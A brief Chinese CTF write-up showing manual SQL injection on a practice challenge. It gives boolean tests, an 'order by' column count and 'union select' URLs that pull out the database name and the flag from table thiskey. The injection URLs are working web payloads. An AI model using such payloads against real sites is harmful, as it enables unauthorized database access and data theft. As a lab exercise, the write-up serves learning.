看url中有id=1,明顯的sql注入,這裏使用手工注入不適用sqlmap,想用的話參考文章(傳送門)
1.首先測試有沒有sql注入漏洞,
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1 返回正常
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 返回不正常
說明存在sql注入漏洞。
2.下面猜字段,
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3 返回不正常
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2 返回正常
說明有兩個字段。
3.暴庫
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()
爆出my_db數據庫
4.爆表
爆出兩個表,flag應該在thiskey中,於是在thiskey表中爆字段
5.爆字段
所以我們的flag在k0y中,於是爆出k0y的內容。
6.爆內容
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey
flag就拿到了。